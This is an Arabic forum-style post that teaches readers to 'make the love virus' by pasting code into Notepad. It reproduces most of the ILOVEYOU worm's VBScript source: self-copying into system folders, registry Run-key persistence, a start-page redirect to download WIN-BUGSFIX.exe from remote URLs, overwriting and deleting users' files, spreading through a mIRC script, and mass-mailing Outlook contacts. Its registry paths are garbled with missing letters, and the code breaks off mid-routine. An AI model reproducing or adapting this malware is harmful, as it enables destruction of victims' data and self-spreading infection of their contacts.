فايروس الحب

شباب اشلونكم اليوم راح اعلمكم كيف تصنع فايروس الحب وهو من اخطر الفايروسات بس اريد قسم لاتستخدمو ضد الاسلام
1 افتح نوتي
2 قم بنسخ الكود
rem barok -loveletter(vbe) rem by: spyder / / @grammersoft group /
Manila,Philippines
On Error Resume Next
Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d
ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
Sub main()
On Error Resume Next
Dim wscr,rr
Set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosoft\indows Scripting
Host\ettings\imeout")
If (rr>=1) Then
wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows Scripting
Host\ettings\imeout",0,"REG_DWORD"
End If
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\SKernel32.vbs")
c.Copy(dirwin&"\in32DLL.vbs")
c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
Sub regruns()
On Error Resume Next
Dim num,downread
regcreate
" HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrentV
ersion\un\SKernel32
",dirsystem&"\SKernel32.vbs"
regcreate
" HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrentV
ersion\unServices\i
n32DLL",dirwin&"\in32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\oftware\icrosoft\nternet
Explorer\ownload Directory")
If (downread="") Then
downread="c:\
End If
If (fileexist(dirsystem&"\inFAT32.exe")=1) Then
Randomize
num = Int((4 * Rnd) + 1)
If num = 1 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237
461234iuy7thjg/WIN-BUGSFIX
...exe"
End If
End If
If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then
regcreate
" HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrentV
ersion\un\IN-BUGSFI
X",downread&"\IN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart
Page","about :blank"
End If
End Sub
Sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType=3 Then
folderlist(d.path&"\)
End If
Next
listadriv = s
End Sub
Sub infectfiles(folderspec)
On Error Resume Next
Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext=fso.GetExtensionName(f1.path)
ext=LCase(ext)
s=LCase(f1.Name)
If (ext="vbs") Or (ext="vbe") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct")
Or (ext="hta") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
bname=fso.GetBaseName(f1.path)
Set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\&bname&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="jpg") Or (ext="jpeg") Then
Set ap=fso.OpenTextFile(f1.path,2,True)
ap.write vbscopy
ap.Close
Set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="mp3") Or (ext="mp2") Then
Set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.Close
Set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
End If
If (eq<>folderspec) Then
If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or
(s="script.ini") Or (s="mirc.hlp") Then
Set scriptini=fso.CreateTextFile(folderspec&"\cript.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{
scriptini.WriteLine "n1= /if ( $nick == $me ) {halt }
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\OVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}
scriptini.Close
eq=folderspec
End If
End If
Next
End Sub
Sub folderlist(folderspec)
On Error Resume Next
Dim f,f1,sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
End Sub
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
End Function
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Sub spreadtoemail()
On Error Resume Next
Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega
d
Set regedit=CreateObject("WScript.Shell")
Set out=WScript.CreateObject("Outlook.Application")
Set mapi=out.GetNameSpace("MAPI")
For ctrlists=1 To mapi.AddressLists.Count
Set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\icrosoft\AB\&a)
If (regv="") Then
regv=1
End If
If (Int(a.AddressEntries.Count)>Int(regv)) Then
For ctrentries=1 To a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead)
If (regad="") Then
Set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite


القسم الثاني
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead,1,"REG_DWORD"
End If
x=x+1
Next
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.AddressEntries.Count
Else
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.AddressEntries.Count
End If
Next
Set out=Nothing
Set mapi=Nothing
End Sub
Sub html
On Error Resume Next
Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="